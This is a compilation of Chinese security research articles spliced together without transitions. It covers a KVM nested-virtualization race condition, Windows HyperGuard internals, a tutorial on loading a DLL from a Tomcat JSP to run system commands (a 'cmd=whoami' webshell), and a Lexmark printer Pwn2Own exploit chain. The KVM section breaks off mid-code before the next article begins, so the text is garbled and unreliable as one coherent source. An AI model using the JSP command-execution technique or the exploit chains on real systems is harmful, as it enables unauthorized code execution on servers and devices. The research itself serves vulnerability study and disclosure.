儘管可以對用戶空間VMM 進行沙箱化以減少VM 逃逸的影響,但KVM 本身沒有這樣的選項。一旦攻擊者能夠在主機內核的上下文中實現代碼執行(或類似的強大原語,如對頁表的寫訪問),系統就會完全受到損害。

由於QEMU 的安全歷史有些糟糕,像crosvm 或Firecracker 這樣的新用戶空間VMM 是用Rust編寫的。當然,由於KVM API 的不正確使用或漏洞利用,仍然可能存在非內存安全漏洞或問題,但使用Rust 有效地防止了過去在基於C 的用戶空間VMM 中發現的大部分漏洞。

最後,純KVM 漏洞可以針對使用專有或大量修改的用戶空間VMM 的目標。雖然大型雲提供商不會公開詳細介紹他們的虛擬化堆棧組件,但可以假設他們不依賴未修復的QEMU 版本來處理其生產工作負載。相比之下,KVM 較小的代碼庫不太可能進行大量修改。

考慮到這些優勢,我決定花一些時間挖掘一個KVM 漏洞,該漏洞可能會實現從客戶機到主機的逃逸。過去,我在KVM 對Intel CPU 上嵌套虛擬化的支持組件中挖掘到一些漏洞,因此可以想像AMD 的相同功能似乎也是一個很好的挖掘點。因為最近AMD 在服務器領域的市場份額增加意味著KVM 的AMD 實現突然成為一個比過去幾年更有趣的目標。

https://bugs.chromium.org/p/project-zero/issues/list?q=vmxowner%3Afwilhelmcan=1嵌套虛擬化,VM(稱為L1)生成嵌套guest(L2)的能力,在很長一段時間內也是一個小眾功能。然而,由於硬件改進減少了它的開銷並增加了客戶需求,它變得越來越廣泛可用。例如,微軟正在大力推動基於虛擬化的安全性作為較新Windows 版本的一部分,需要嵌套虛擬化來支持雲託管的Windows 安裝。 默認情況下,KVM 在AMD 和Intel上都啟用對嵌套虛擬化的支持,因此如果管理員或用戶空間VMM 沒有明確禁用它,它就是惡意或受感染VM 的攻擊面的一部分。

https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbsAMD 的虛擬化擴展稱為SVM(用於安全虛擬機),為了支持嵌套虛擬化,主機管理程序需要攔截由其guest執行的所有SVM 指令,模擬它們的行為並保持其狀態與底層硬件同步。正確實現這一點非常困難,並且存在很大的複雜邏輯缺陷,使其成為手動代碼審查的完美目標。

0x03 漏洞細節在深入研究KVM 代碼庫和我發現的漏洞之前,我想快速介紹一下AMD SVM 的工作原理,以使文章的其餘部分更容易理解。有關詳細文檔,請參閱AMD64 架構程序員手冊,第2 卷:系統編程第15 章。如果通過設置EFER MSR 中的SVME 位啟用SVM 支持,則SVM 將支持6 條新指令到x86-64。這些指令中最有趣的是VMRUN ,它負責運行VMguest。 VMRUN通過RAX 寄存器獲取一個隱式參數,該參數指向“虛擬機控制塊”(VMCB)數據結構的頁面對齊物理地址,它描述了VM 的狀態和配置。

AMD64架構程序員手冊,第2卷:系統編程第15章:https://www.amd.com/system/files/TechDocs/24593.pdfVMCB 分為兩部分:首先是狀態保存區,它存儲所有guest寄存器的值,包括段和控制寄存器。第二,控制區,描述了虛擬機的配置。 Control 區域描述了為VM 啟用的虛擬化功能,設置攔截哪些VM 操作以觸發VM 退出並存儲一些基本配置值,例如用於嵌套分頁的頁表地址。

用於嵌套分頁的頁表地址:https://en.wikipedia.org/wiki/Second_Level_Address_Translation如果正確準備了VMCB,VMRUN 將首先將主機狀態保存在主機保存區的內存區域中,其地址是通過向VM_HSAVE_PA MSR 寫入物理地址來配置的。一旦保存了主機狀態,CPU 就會切換到VM 上下文,並且VMRUN 僅在由於某種原因觸發VM 退出時才返回。

SVM 的一個有趣方面是,VM 退出後的許多狀態恢復必須由管理程序完成。一旦發生VM 退出,只有RIP、RSP 和RAX 會恢復為之前的主機值,所有其他通用寄存器仍包含guest值。此外,完整的上下文切換需要手動執行VMSAVE/VMLOAD 指令,這些指令從內存中保存/加載額外的系統寄存器(FS、SS、LDTR、STAR、LSTAR……)。

為了使嵌套虛擬化工作,KVM 會攔截VMRUN 指令的執行,並基於L1 guest準備的VMCB(在KVM 術語中稱為vmcb12)創建自己的VMCB。當然,KVM 不能信任guest提供的vmcb12,並且需要仔細驗證最終在傳遞給硬件(稱為vmcb02)的真實VMCB 中的所有字段。

AMD 上用於嵌套虛擬化的KVM 代碼大部分在arch/x86/kvm/svm/nested.c中實現,攔截嵌套guest的VMRUN 指令的代碼在nested_svm_vmrun 中實現:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/x86/kvm/svm/nested.c?h=v5.11

intnested_svm_vmrun(structvcpu_svm*svm)

{

intret;

structvmcb*vmcb12;

structvmcb*hsave=svm-nested.hsave;

structvmcb*vmcb=svm-vmcb;

structkvm_host_mapmap;

u64vmcb12_gpa;

vmcb12_gpa=svm-vmcb-save.rax;**1**

ret=kvm_vcpu_map(svm-vcpu,gpa_to_gfn(vmcb12_gpa),map);**2**

ret=kvm_skip_emulated_instruction(svm-vcpu);

vmcb12=map.hva;

if(!nested_vmcb_checks(svm,vmcb12)){**3**

vmcb12-control.exit_code=SVM_EXIT_ERR;

vmcb12-control.exit_code_hi=0;

vmcb12-control.exit_info_1=0;

vmcb12-control.exit_info_2=0;

gotoout;

}

.

/*

*Savetheoldvmcb,sowedon'tneedtopickwhatwesave,butcan

*restoreeverythingwhenaVMEXIToccurs

*/

hsave-save.es=vmcb-save.es;

hsave-save.cs=vmcb-save.cs;

hsave-save.ss=vmcb-save.ss;

hsave-save.ds=vmcb-save.ds;

hsave-save.gdtr=vmcb-save.gdtr;

hsave-save.idtr=vmcb-save.idtr;

hsave-save.efer=svm-vcpu.arch.efer;

hsave-save.cr0=kvm_read_cr0(svm-vcpu);

hsave-save.cr4=svm-vcpu.arch.cr4;

hsave-save.rflags=kvm_get_rflags(svm-vcpu);

hsave-save.rip=kvm_rip_read(svm-vcpu);

hsave-save.rsp=vmcb-save.rsp;

hsave-save.rax=vmcb-save.rax;

if(npt_enabled)

hsave-save.cr3=vmcb-save.cr3;

else

hsave-save.cr3=kvm_read_cr3(svm-vcpu);

copy_vmcb_control_area(hsave-control,vmcb-control);

svm-nested.nested_run_pending=1;

if(enter_svm_guest_mode(svm,vmcb12_gpa,vmcb12))**4**

gotoout_exit_err;

if(nested_svm_vmrun_msrpm(svm))

gotoout;

out_exit_err:

svm-nested.nested_run_pending=0;

svm-vmcb-control.exit_code=SVM_EXIT_ERR;

svm-vmcb-control.exit_code_hi=0;

svm-vmcb-control.exit_info_1=0;

svm-vmcb-control.exit_info_2=0;

nested_svm_vmexit(svm);

out:

kvm_vcpu_unmap(svm-vcpu,map,true);

returnret;

}該函數首先從當前活動的vmcb ( svm-vcmb ) 中獲取1中的RAX 的值。對於使用嵌套分頁的guest,RAX 包含一個guest物理地址(GPA),需要先將其轉換為主機物理地址(HPA)。 kvm_vcpu_map ( 2 ) 負責此轉換並將底層頁面映射到可由KVM 直接訪問的主機虛擬地址(HVA)。

映射VMCB 後, 將調用nested_vmcb_checks在3 中進行一些基本驗證。之後, 在KVM通過調用enter_svm_guest_mode ( 4 )進入嵌套的guest context之前,將存儲在svm-vmcb中的L1 guest context 複製到主機保存區svm-nested.hsave中。

intenter_svm_guest_mode(structvcpu_svm*svm,u64vmcb12_gpa,structvmcb*vmcb12)

{

intret;

svm-nested.vmcb12_gpa=vmcb12_gpa;

load_nested_vmcb_control(svm,vmcb12-control);

nested_prepare_vmcb_save(svm,vmcb12);

nested_prepare_vmcb_control(svm);

ret=nested_svm_load_cr3(svm-vcpu,vmcb12-save.cr3,

nested_npt_enabled(svm));

if(ret)

returnret;

svm_set_gif(svm,true);

return0;

}

staticvoidload_nested_vmcb_control(structvcpu_svm*svm,

structvmcb_control_area*control)

{

copy_vmcb_control_area(svm-nested.ctl,control);

.

}查看enter_svm_guest_mode 我們可以看到KVM 將vmcb12 控制區直接複製到svm-nested.ctl 中,並且不會對複制的值進行任何進一步的檢查。

熟悉double fetch 或Time-of-Check-to-Time-of-Use 漏洞的讀者可能已經在這裡看到了一個潛在問題:在nested_svm_vmrun 開頭對nested_vmcb_checks的調用對VMCB的副本執行所有檢查,該副本是存儲在guest內存中。這意味著具有多個CPU 內核的guest可以在nested_vmcb_checks 中驗證VMCB 中的字段後,在將它們複製到load_nested_vmcb_control 中的svm-nested.ctl 之前修改它們。

讓我們看一下nested_vmcb_checks ,看看可以用這種方法繞過什麼樣的檢查:

staticboolnested_vmcb_check_controls(structvmcb_control_area*control)

{

if((vmcb_is_intercept(control,INTERCEPT_VMRUN))==0)

returnfalse;

if(control-asid==0)

returnfalse;

if((control-nested_ctlSVM_NESTED_CTL_NP_ENABLE)

!npt_enabled)

returnfalse;

returntrue;

}control-asid 沒有使用,最後一次檢查僅與不支持嵌套分頁的系統相關。

SVM VMCB 包含一個bit,用於在guest內部執行時啟用或禁用VMRUN 指令的攔截。硬件實際上不支持清除此位,並會導致立即VMEXIT,因此,nested_vmcb_check_controls 中的檢查只是複制了此行為。當我們通過反复翻轉INTERCEPT_VMRUN 位的值來競爭並繞過檢查時,我們最終可能會遇到svm-nested.ctl 包含0 代替INTERCEPT_VMRUN 位的情況。要了解影響,我們首先需要了解嵌套的vmexit 在KVM 中是如何處理的:

主SVM退出處理句柄是在arch/x86/kvm/svm.c中的函數handle_exit ,每當發生VMEXIT被調用就會調用此函數。當KVM 運行嵌套的guest時,它首先必須檢查退出是否應該由它自己或L1 管理程序處理。為此,它調用了函數nested_svm_exit_handled ( 5 ),如果vmexit 將由L1 管理程序處理並且不需要由L0 管理程序進一步處理,則該函數將返回NESTED_EXIT_DONE :

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/x86/kvm/svm/svm.c?h=v5.11

staticinthandle_exit(structkvm_vcpu*vcpu,fastpath_texit_fastpath)

{

structvcpu_svm*svm=to_svm(vcpu);

structkvm_run*kvm_run=vcpu-run;

u32exit_code=svm-vmcb-control.exit_code;

if(is_guest_mode(vcpu)){

intvmexit;

trace_kvm_nested_vmexit(exit_code,vcpu,KVM_ISA_SVM);

vmexit=nested_svm_exit_special(svm);

if(vmexit==NESTED_EXIT_CONTINUE)

vmexit=nested_svm_exit_handled(svm);**5**

if(vmexit==NESTED_EXIT_DONE)

return1;

}

}

staticintnested_svm_intercept(structvcpu_svm*svm)

{

//exit_code==INTERCEPT_VMRUNwhentheL2guestexecutesvmrun

u32exit_code

本文將介紹SKPG的數據結構和組件,更具體地說,是它被激活的方式。 SKPG 初始化的過程請您點擊這裡了解。

內部HyperGuard激活在SKPG 初始化一文中,我介紹了HyperGuard並描述了它的不同初始化途徑。無論我們怎麼選擇,最終都會在普通內核完成初始化時到達SkpgConnect。此時內核中所有重要的數據結構已經初始化,可以開始受到PatchGuard 和HyperGuard 的監控和保護。

經過幾次標準輸入驗證後,skpgconect獲得SkpgConnectionLock並檢查SkpgInitialized全局變量,以告訴HyperGuard是否已經被初始化。如果設置了變量,函數將根據接收到的信息返回STATUS_ACCESS_DENIED或STATUS_SUCCESS。在任何一種情況下,它都不會做任何其他事情。

如果SKPG 尚未被初始化,SkpgConnect 將開始對其進行初始化。首先,它計算並保存多個隨機值,以便稍後在多個不同的檢查中使用。然後它分配並初始化一個背景結構,保存在全局SkpgContext 中。在我們繼續討論其他SKPG 領域之前,有必要花點時間討論一下SKPG 的背景。

SKPG背景這個SKPG背景結構在SkpgConnect中被分配和初始化,並將在所有SKPG檢查中使用。它包含HyperGuard監控和保護系統所需的所有數據,如NTPTE信息、加密算法、KCFG範圍等,以及另一個計時器和回調,與我們在SKPG 初始化一文看到的計時器和回調不同。不幸的是,像HyperGuard的其他部分一樣,這個結構(我將稱之為SKPG_CONTEXT)沒有文檔記錄,因此我們需要盡最大努力弄清楚它包含什麼以及如何使用它。

首先,需要分配背景。這個背景具有一個動態大小,它取決於從普通內核接收到的數據。因此,它是在運行時使用函數SkpgComputeContextSize計算的。結構的最小大小是0x378字節(隨著背景結構獲得新字段,這個數字往往會隨著Windows構建的次數增加而增加),並且根據從普通內核發送的數據,該結構將被添加一個動態大小。

只有在通過PatchGuard代碼路徑初始化SKPG時才發送的輸入數據是一個名為Extents的結構數組。這些範圍描述了HyperGuard保護的不同內存區域、數據結構和其他系統組件。我將在後面的文章中更詳細地介紹所有這些,但是有幾個例子包括GDT和IDT、某些受保護模塊中的數據部分和具有安全含義的MSR。

計算出所需的大小後,分配SKPG_CONTEXT結構,並在SkpgAllocateContext中設置一些初始字段。其中兩個字段包括另一個安全計時器和一個相關的回調,其函數被設置為SkpgHyperguardTimerRoutine和SkpgHyperguardRuntime。它還設置了與PTE地址相關的字段和其他與分頁相關的屬性,因為很多HyperGuard檢查都驗證了正確的Virtual-Physical頁面轉換。

然後,調用SkpgInitializeContext來使用普通內核提供的範圍完成背景的初始化。這基本上意味著遍歷輸入數組,使用數據初始化內部結構, 我將調用SKPG_EXTENT,並將它們粘貼在SKPG_CONTEXT 結構的末尾,我選擇調用ExtentOffset 的字段指向范圍數組(請注意,這些結構都沒有記錄,因此所有結構和字段名稱都是由組成的):

1.png

SKPG範圍有許多不同類型的範圍,每個SKPG_EXTENT結構都有一個Type字段指示其類型。每個範圍還具有一個哈希,在某些情況下,該哈希用於驗證對所監控的內存區域沒有做任何更改。然後是被監控內存的基址和字節數的字段,最後是包含每個範圍類型特有數據的聯合。作為參考,下面是反向工程的SKPG_EXTENT結構:

2.png

我提到過,HyperGuard使用的輸入區是由普通內核中的PatchGuard初始化器函數提供的。但是SKPG會初始化另一種類型的範圍,同樣安全的範圍。為了初始化這些,SkpgInitializeContext調用SkpgCreateSecureKernelExtents,提供SKPG_CONTEXT結構和當前範圍數組結束的地址,因此可以將安全範圍放置在那裡。安全範圍使用與常規範圍相同的SKPG_EXTENT結構,並保護安全內核中的數據,例如加載到安全內核和安全內核內存範圍中的模塊。

3.png

範圍類型如前所述,有許多不同類型的範圍,HyperGuard使用每種範圍來保護系統的不同部分。然而,我們可以將他們分成幾個具有相似特徵的組,並以相似的方式處理。為了清晰並將正常範圍與安全範圍分離,我將使用命名約定SkpgExtent用於正常範圍類型,SkpgExtentSecure用於安全範圍類型。

我想要介紹的第一個範圍非常簡單,它總是被發送到SkpgInitializeContext,而不管其他輸入。

初始化範圍有一個範圍不屬於任何組,因為它不涉及任何HyperGuard驗證。這是0x1000: SkpgExtentInit,此範圍不會復製到背景結構中的數組中。相反,這個範圍類型是由SkpgConnect創建的,並發送到SkpgInitializeContext,以設置背景結構本身中以前未填充的一些字段。這些字段具有與熱補丁相關的附加哈希值和信息,例如是否啟用熱補丁以及retpoline代碼頁的地址。它還在背景結構中設置一些標誌,以反映設備中的一些配置選項。

內存和模塊範圍這個組包括以下範圍類型:

4.png

所有這些範圍類型的共同點是,它們都表示HyperGuard要保護的內存範圍。其中大多數包含正常內核中的內存範圍,但是SkpgExtentSecureMemory和SkpgExtentSecureModule有VTL1內存範圍和模塊。儘管如此,不管內存類型或VTL如何,所有這些範圍類型都以類似的方式處理,所以我將它們組合在一起。

當向SKPG Context添加普通內存範圍時,將驗證所有普通內核地址範圍,以確保頁面具有用於SKPG保護的有效映射。為了使普通內核頁對SKPG保護有效,這個頁是不可寫的。 SKPG將監控所有請求頁面的更改,因此內容可以隨時更改的可寫頁面不是此類保護的有效“候選”頁面。因此,SKPG只能監控保護為“讀”或“執行”的頁面。顯然,只有有效的頁面(如PTE中的valid位所示)才能受到保護。當啟用HVCI時,與某些內存範圍有一些細微的差別,因為在這些條件下SKPG無法處理某些頁麵類型。

一旦映射和驗證,每個應該被保護的內存頁將被哈希,並將哈希保存到SKPG_EXTENT結構中,它將在未來的HyperGuard檢查中使用,以驗證頁面沒有被修改。

一些內存範圍描述了一個通用的內存範圍,還有一些,比如SkpgExtentImagePage,描述了一個特定的內存類型,需要稍微區別對待。這種範圍類型提到了普通內核中的特定映像,但是HyperGuard不應該保護整個映像,而應該保護其中的一部分。因此,輸入範圍包括映像基礎、映像中保護應該開始的頁面偏移量以及請求的大小。這裡要保護的內存區域也將被哈希,哈希值將被保存到SKPG_EXTENT中,以便在將來的驗證中使用。

但是寫入SKPG背景的SKPG_EXTENT結構通常只描述單個內存頁面,而係統可能希望保護映像中更大的區域。對於HyperGuard來說,一次處理一個頁面的內存驗證更簡單,這樣可以獲得更可預測的處理時間,避免在哈希大內存範圍時佔用太多時間。因此,當接收到請求大小大於頁面(0x1000字節)的輸入範圍時,SkpgInitializeContext遍歷請求範圍中的所有頁面,並為每個頁面創建一個新的SKPG_EXTENT。只有描述範圍中的第一個頁面的第一個範圍接收類型SkpgExtentImage。描述以下頁面的所有其他類型都接收不同的類型0x1014,我選擇調用SkpgExtentPartialMemory,並且原始的範圍類型位於SKPG_EXTENT結構中特定類型數據的前2個字節中。

數組中的每個範圍都可以用不同的標誌來標記。其中一個是Protected標誌,它只能應用於普通的內核區,這意味著SKPG應該保護指定的地址範圍不受更改。在這種情況下,SkpgInitializeContext將在請求的地址範圍上調用SkmmPinNormalKernelAddressRange來固定並防止它被VTL0代碼釋放:

5.png

安全內存範圍本質上與普通內存範圍非常相似,主要區別在於它們由安全內核本身初始化以及它們所保護的內容的詳細信息。

生成SkpgExtentSecureModule類型的範圍來監控加載到安全內核空間中的所有映像。這是通過迭代SkLoadedModuleList全局列表來完成的,它和普通內核的PsLoadedModuleList一樣,是一個KLDR_DATA_TABLE_ENTRY結構的鍊錶,表示所有加載的模塊。對於其中的每個模塊,都調用SkpgCreateSecureModuleExtents來生成範圍。

為此,SkpgCreateSecureModuleExtents 一次接收一個加載的DLL 的KLDR_DATA_TABLE_ENTRY,驗證它是否存在於PsInvertedFunctionTable(包含所有加載的DLL 的基本信息的表,主要用於快速搜索異常處理程序),然後枚舉模塊。安全模塊中的大多數部分都使用SKPG_EXTENT 進行監控,但不受修改保護。只有一個部分受到保護,TABLERO 部分:

6.png

TABLERO 部分是僅存在於少數二進製文件中的數據部分。在普通內核中,它存在於Win32k.sys 中,其中包含win32k 系統服務表。在安全內核中,securekernel.exe 中存在TABLERO 部分,其中包含全局變量,例如SkiSecureServiceTable、SkiSecureArgumentTable、SkpgContext、SkmiNtPteBase 等:

7.png

當SkpgCreateSecureModuleExtents 遇到TABLERO 部分時,它會調用SkmmProtectKernelImageSubsection 將部分頁面的PTE 從默認的讀寫更改為只讀。

然後,對於每個範圍,無論其類型如何,都會創建一個類型為SkpgExtentSecureModule的範圍。如果段是可執行的,則每個內存區域將被哈希成範圍標記中的一個標誌。每個範圍生成的範圍數量可能不同:如果在計算機上啟用了hotpatch,將為受保護映像範圍中的每個頁面生成單獨的範圍。否則,每個受保護的部分會生成一個可能覆蓋多個頁面的範圍,所有這些範圍都使用SkpgExtentSecureModule類型:

8.png

如果啟用了hotpatch,則為每個安全模塊創建最後一個安全模塊區。變量SkmiHotPatchAddressReservePages將指示在模塊末尾有多少個頁面被預留給HotPatch使用,並為每個頁面創建一個範圍。與前面描述的普通內核模塊範圍的方式類似,每個範圍描述一個頁面,範圍類型是SkpgExtentPartialMemory,類型SkpgExtentSecureModule被放置在範圍的一個類型特定的字段中。

另一個安全範圍類型是SkpgExtentSecureMemory。這是一個通用範圍類型,用於指示安全內核中的任何內存範圍。但是,目前它僅用於監控由安全內核處理器塊(SKPRCB)指向的GDT。這是一個內部結構,其目的類似於普通內核的KPRCB(類似地,它們的數組存在於SkeProcessorBlock中)。對於系統中的每個處理器,都有一個這種類型的範圍。此外,該函數在每個KGDTENTRY64結構的Type字段中設置一個位,以表明這個條目已經被訪問,並防止它在以後被修改,但是在偏移量0x40處的TSS條目將被跳過:

9.png

這基本上涵蓋了內存區的初始化和使用。

0x00 前言Java可以通過JNI接口訪問本地的動態連接庫,從而擴展Java的功能。本文將以Tomcat環境為例,介紹通過jsp加載dll的方法,開源代碼,記錄細節。

0x01 簡介本文將要介紹以下內容:

基礎知識

Java通過JNI加載dll的方法

jsp通過JNI加載dll的方法

0x02 基礎知識JNI,全稱Java Native Interface,是Java語言的本地編程接口。可以用來調用dll文件

調用JNI接口的步驟:

1、編寫Java代碼,註明要訪問的本地動態連接庫和本地方法

2、編譯Java代碼得到.class文件

3、使用javah生成該類對應的.h文件

4、使用C++實現函數功能,編譯生成dll

5、通過Java調用dll

0x03 Java通過JNI加載dll的方法本節將要實現通過Java加載dll,在命令行輸出'Hello World'

1.編寫Java代碼,註明要訪問的本地動態連接庫和本地方法HelloWorld.java:

image.png

注:

也可以使用System.load指定加載dll的絕對路徑,代碼示例:System.load('c:\\test\\Hello.dll');

上述代碼註明了要訪問本地的Hello.dll,調用本地方法print()

2.編譯Java代碼得到.class文件cmd命令:

image.png

命令執行後,生成文件HelloWorld.class

3.使用javah生成該類對應的.h文件cmd命令:

image.png

命令執行後,生成文件HelloWorld.h

為了簡化後續C++工程的配置,這裡需要修改HelloWorld.h,將#include

image.png

4.使用C++實現函數功能,編譯生成dll使用Visual Studio,新建一個C++項目Hello,選中win2控制台應用程序, 應用程序類型為DLL,附加選項:導出符號

修改dllmain.cpp或者Hello.cpp均可,具體代碼如下:

image.png

項目需要引用以下三個文件:

jni.h,位置為%jdk%\include\jni.h

jni_md.h,位置為%jdk%\include\win32\jni_md.h

HelloWorld.h,使用javah生成

編譯生成dll

注:

測試環境為64位系統,所以選擇生成64位的Hello.dll

5.通過Java調用dll將Hello.dll和HelloWorld.class保存在同級目錄,執行命令:

image.png

獲得返回結果:

image.png

加載成功

0x04 jsp通過JNI加載dll的方法本節將要實現在Tomcat環境下,通過訪問jsp文件,執行cmd命令並獲得命令執行結果

1.編寫Java代碼,註明要訪問的本地動態連接庫和本地方法testtomcat_jsp.java:

image.png

Tomcat環境下,需要以下限制條件:

固定包名格式為org.apache.jsp

java文件名稱需要固定格式:***_jsp,並且後面的jsp文件名稱需要同其保持一致。例如testtomcat_jsp.java,那麼最終jsp的文件名稱需要命名為testtomcat.jsp

類名不需要限定為JniClass,可以任意

2.編譯Java代碼得到.class文件cmd命令:

image.png

命令執行後,生成文件testtomcat_jsp.class和testtomcat_jsp$JniClass.class

3.使用javah生成該類對應的.h文件將testtomcat_jsp$JniClass.class保存在\org\apache\jsp\下

cmd命令:

image.png

命令執行後,生成文件org_apache_jsp_testtomcat_jsp_JniClass.h

為了簡化後續C++工程的配置,這裡需要修改org_apache_jsp_testtomcat_jsp_JniClass.h,將#include

image.png

4.使用C++實現函數功能,編譯生成dll使用Visual Studio,新建一個C++項目TestTomcat,選中win2控制台應用程序, 應用程序類型為DLL,附加選項:導出符號

修改dllmain.cpp或者TestTomcat.cpp均可,具體代碼如下:

image.png image.png

注:

代碼JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)需要和頭文件中的聲明保持一致

項目需要引用以下三個文件:

jni.h,位置為%jdk%\include\jni.h

jni_md.h,位置為%jdk%\include\win32\jni_md.h

org_apache_jsp_testtomcat_jsp_JniClass.h,使用javah生成

編譯生成dll

注:

測試環境為64位系統,所以選擇生成64位的TestTomcat.dll

5.通過jsp調用dll向Tomcat上傳TestTomcat.dll,在Web目錄創建testtomcat.jsp,內容如下:

image.png

注:

jsp文件名稱需要同之前的java文件保持一致

訪問URL:http://127.0.0.1:8080/testtomcat.jsp?cmd=whoami

獲得命令執行結果,加載成功

0x05 小結本文以Tomcat環境為例,介紹通過jsp加載dll的方法,開源代碼,記錄細節,能夠擴展jsp的功能。

2021年10月,我們的研究人員發現了一個安全漏洞,並在2021年11月舉行的Pwn2Own 2021大賽中成功利用了該漏洞。今年一月,Lexmark公司發布了該漏洞(CVE-2021-44737)的安全補丁。

最初,我們是打算以Lexmark MC3224i打印機為目標的,然而,由於該型號的打印機到處缺貨,所以,我們決定買一台Lexmark MC3224dwe打印機作為其替代品。它們的主要區別在於:Lexmark MC3224i型號提供了傳真功能,而Lexmark MC3224dwe型號則缺乏該功能。從漏洞分析的角度來看,這意味著兩者之間可能有一些差異,至少我們很可能無法利用某些功能。於是,我們下載了兩個型號的固件更新,發現它們竟然完全一樣,所以,我們決定繼續考察Lexmark MC3224dwe——反正我們也沒有選擇的餘地。

就像Pwn2Own所要求的那樣,該漏洞可被遠程利用,無需經過身份驗證,並存在於默認配置中。利用該漏洞,攻擊者就能以該打印機的root用戶身份遠程執行代碼。

關於該漏洞的利用過程,具體如下所示:

1、利用臨時文件寫入漏洞(CVE-2021-44737),對ABRT鉤子文件執行寫操作

2、通過遠程方式,令進程發生崩潰,以觸發ABRT的中止處理

3、中止處理將導致ABRT鉤子文件中的bash命令被執行

實際上,臨時文件寫入漏洞位於Lexmark特有的hydra服務(/usr/bin/hydra)中,該服務在Lexmark MC3224dwe打印機上是默認運行的。 hydra服務的二進製文件非常大,因為它需要處理各種協議。該漏洞存在於打印機工作語言(PJL)命令中,更具體地說,是在一個名為LDLWELCOMESCREEN的命令中。

我們已經分析並利用了CXLBL.075.272/CXLBL.075.281版本中的漏洞,但舊版本也可能存在該漏洞。在這篇文章中,我們將詳細介紹針對CXLBL.075.272的分析過程,因為CXLBL.075.281是在去年10月中旬發布的,並且我們一直在研究這個版本。

注意:Lexmark MC3224dwe打印機是基於ARM(32位)架構的,但這對漏洞的利用過程並不重要,只是對逆向分析有點影響。

由於該漏洞先是觸發了一個ABRT,隨後又中止了ABRT,所以,我們將其命名為“MissionAbrt”。

逆向分析您可以從Lexmark下載頁面下載Lexmark固件更新文件,但是,這個文件是加密的。如果您有興趣了解我們的同事Catalin Visinescu是如何使用硬件黑客技術來獲取該固件文件的,請參閱本系列的第一篇文章。

漏洞詳細信息背景知識正如維基百科所說:

打印機作業語言(PJL)是Hewlett-Packard公司開發的一種方法,用於在作業級別切換打印機語言,以及在打印機和主機之間進行狀態回讀。 PJL增加了作業級別控制,如打印機語言切換、作業分離、環境、狀態回讀、設備考勤和文件系統命令。

PJL命令如下所示:

@PJLSETPAPER=A4

@PJLSETCOPIES=10

@PJLENTERLANGUAGE=POSTSCRIPT眾所周知,PJL對攻擊者來說是非常有用的。過去,一些打印機曾經曝光過允許在設備上讀寫文件的漏洞。

PRET是這樣一款工具:借助於該軟件,我們就能在各種打印機品牌上使用PIL(以及其他語言),但它不一定支持所有的命令,因為每個供應商都提供了自己的專有命令。

找到含有漏洞的函數雖然hydra服務的二進製文件沒有提供符號,卻提供了許多日誌/錯誤函數,其中包含一些函數名。下面顯示的代碼是通過IDA/Hex-Rays反編譯的代碼,因為尚未找到該二進製文件的開放源代碼。其中,許多PJL命令由地址為0xFE17C的setup_pjl_commands()函數註冊的。這裡,我們對LDLWELCOMESCREEN PJL命令非常感興趣,因為它好像是Lexmark專有的,並且沒有找到相應的說明文檔。

int__fastcallsetup_pjl_commands(inta1)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

pjl_ctx=create_pjl_ctx(a1);

pjl_set_datastall_timeout(pjl_ctx,5);

sub_11981C();

pjlpGrowCommandHandler('UEL',pjl_handle_uel);

.

pjlpGrowCommandHandler('LDLWELCOMESCREEN',pjl_handle_ldlwelcomescreen);

.當接收到PJL LDLWELCOMESCREEN命令後,0x1012f0處的pjl_handle_ldlwelcomescreen()函數將開始處理該命令。我們可以看到,這個命令使用一個表示文件名的字符串作為第一個參數:

int__fastcallpjl_handle_ldlwelcomescreen(char*client_cmd)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

result=pjl_check_args(client_cmd,'FILE','PJL_STRING_TYPE','PJL_REQ_PARAMETER',0);

if(result=0)

returnresult;

filename=(constchar*)pjl_parse_arg(client_cmd,'FILE',0);

returnpjl_handle_ldlwelcomescreen_internal(filename);

}然後,0x10a200處的pjl_handle_ldlwelcomescreen_internal()函數將嘗試打開該文件。請注意,如果該文件存在,該函數並不會打開它,而是立即返回。因此,我們只能寫還不存在的文件。此外,完整的目錄層次結構必須已經存在,以便我們創建文件,同時,我們還需要具有寫文件的權限。

unsignedint__fastcallpjl_handle_ldlwelcomescreen_internal(constchar*filename)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

if(!filename)

return0xFFFFFFFF;

fd=open(filename,0xC1,0777);//open(filename,O_WRONLY|O_CREAT|O_EXCL,0777)

if(fd==0xFFFFFFFF)

return0xFFFFFFFF;

ret=pjl_ldwelcomescreen_internal2(0,1,pjl_getc_,write_to_file_,fd);//goeshere

if(!retpjl_unk_functionpjl_unk_function(filename))

pjl_process_ustatus_device_(20001);

close(fd);

remove(filename);

returnret;

}下面我們開始考察pjl_ldwelcomescreen_internal2()函數,但請注意,上面的文件最後會被關閉,並然後通過remove()調用完全刪除文件名。這意味著我們似乎只能暫時寫入該文件。

文件寫入原語現在,讓我們分析0x115470處的pjl_ldwelcomescreen_internal2()函數。由於使用了flag==0選項,因此,pjl_handle_ldlwelcomescreen_internal()函數最終將調用pjl_ldwelcomescreen_internal3()函數:

unsignedint__fastcallpjl_ldwelcomescreen_internal2(

intflag,

intone,

int(__fastcall*pjl_getc)(unsigned__int8*p_char),

ssize_t(__fastcall*write_to_file)(int*p_fd,char*data_to_write,size_tlen_to_write),

int*p_fd)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

bad_arg=write_to_file==0;

if(write_to_file)

bad_arg=pjl_getc==0;

if(bad_arg)

return0xFFFFFFFF;

if(flag)

returnpjl_ldwelcomescreen_internal3bis(flag,one,pjl_getc,write_to_file,p_fd);

returnpjl_ldwelcomescreen_internal3(one,pjl_getc,write_to_file,p_fd);//goeshereduetoflag==0

}我們花了一些時間,來逆向分析0x114838處的pjl_ldwelcomescreen_internal3()函數,以理解其內部機制。這個函數不僅很大,通過反編譯得到的代碼可讀性不是太高,但邏輯仍然很容易理解。

基本上,這個函數負責從客戶端讀取附加數據,並將其寫入前面打開的文件。

